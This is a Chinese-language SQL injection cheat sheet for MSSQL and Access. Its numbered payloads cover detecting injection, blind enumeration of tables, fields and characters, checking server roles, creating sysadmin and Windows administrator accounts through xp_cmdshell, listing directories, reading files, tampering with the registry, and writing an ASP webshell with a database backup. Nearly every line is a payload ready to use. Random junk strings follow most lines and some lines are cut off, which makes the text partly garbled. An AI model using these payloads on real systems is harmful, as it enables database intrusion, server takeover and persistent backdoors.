1.判断是否有注入;and 1=1 ;and 1=2 Y'58.8hl
2.初步判断是否是mssql ;and user>0 ``U>9S"p)
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3.注入参数是字符'and [查询条件] and ''=' Ak&eGd$d
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' tK1P7pbC8r
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5.判断数据库系统 ] vQn*T"^
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;and (select count(*) from msysobjects)>0 access :(E.sT"R
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 G,3.'S,7
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Gg8F>y<[R
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 3P N<J
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9.(1)猜字段的ascii值(access) \$$DM"+:;H
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 7a\at)q/y
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(2)猜字段的ascii值(mssql) XOsuRI?
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 i_Ol vuy~
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10.测试权限结构(mssql) gwO]U=Y
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9(eTCe-~6
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rrz^LD
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @|N{EI
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ld
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- `8M{13fv
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1#}}:
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;and 1=(select IS_MEMBER('db_owner'));-- \8Y62
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11.添加mssql和系统的帐户 ;T hn C>U
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;exec master.dbo.sp_addlogin username;-- grVPu! B;
;exec master.dbo.sp_password null,username,password;-- f9$8$O
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- y?OK#,j
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;exec master.dbo.xp_cmdshell 'net user username password zt!)7HBo
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- fD3>g{
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- #u"$\[ G
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;create table dirs(paths varchar(100), id int) &0x;60b
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 7<0oK|~c#
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;and (select top 1 paths from dirs)>0 F]GX;<`
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) M#}k@
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(2)遍历目录 tq=7HM
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- o*5b]XWw
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 @yNCWa~N
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 II]-mb
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~,m5dP#[bV
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &[t} /+)
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13.mssql中的存储过程 G&q@B`I
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xp_regenumvalues 注册表根键, 子键 Og1Hg
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 /Py`a1
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xp_regread 根键,子键,键值名 7I0K=
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $-uMWJ)l
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xp_regwrite 根键,子键, 值名, 值类型, 值 `08}y*E
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 T#3`&[
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xp_regdeletevalue 根键,子键,值名 vPsf{[Kr
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 )QB9zl:
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 y^:6D(SR
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14.mssql的backup创建webshell 7jPn6uz>w
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use model eB5<N?;s
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create table cmd(str image); Ip*[H#h
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insert into cmd(str) values (''); S^ JUQx7
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backup database model to disk='c:\l.asp'; 7WN$ rl5/
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15.mssql内置函数 Nu6]R677Y
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;and (select @@version)>0 获得Windows的版本号 `bEum3l\6]
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa o88Dz}a
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;and (select user_name())>0 爆当前系统的连接用户 l(?Yx
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;and (select db_name())>0 得到当前连接的数据库 Zq>}SR
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16.简洁的webshell 2O)2#N
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use model 21G:!t4/?n
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create table cmd(str image); Y^CbpG&-vC
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insert into cmd(str) values (''); `-)Fx<e
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backup database model to disk='g:\wwwtest\l.asp';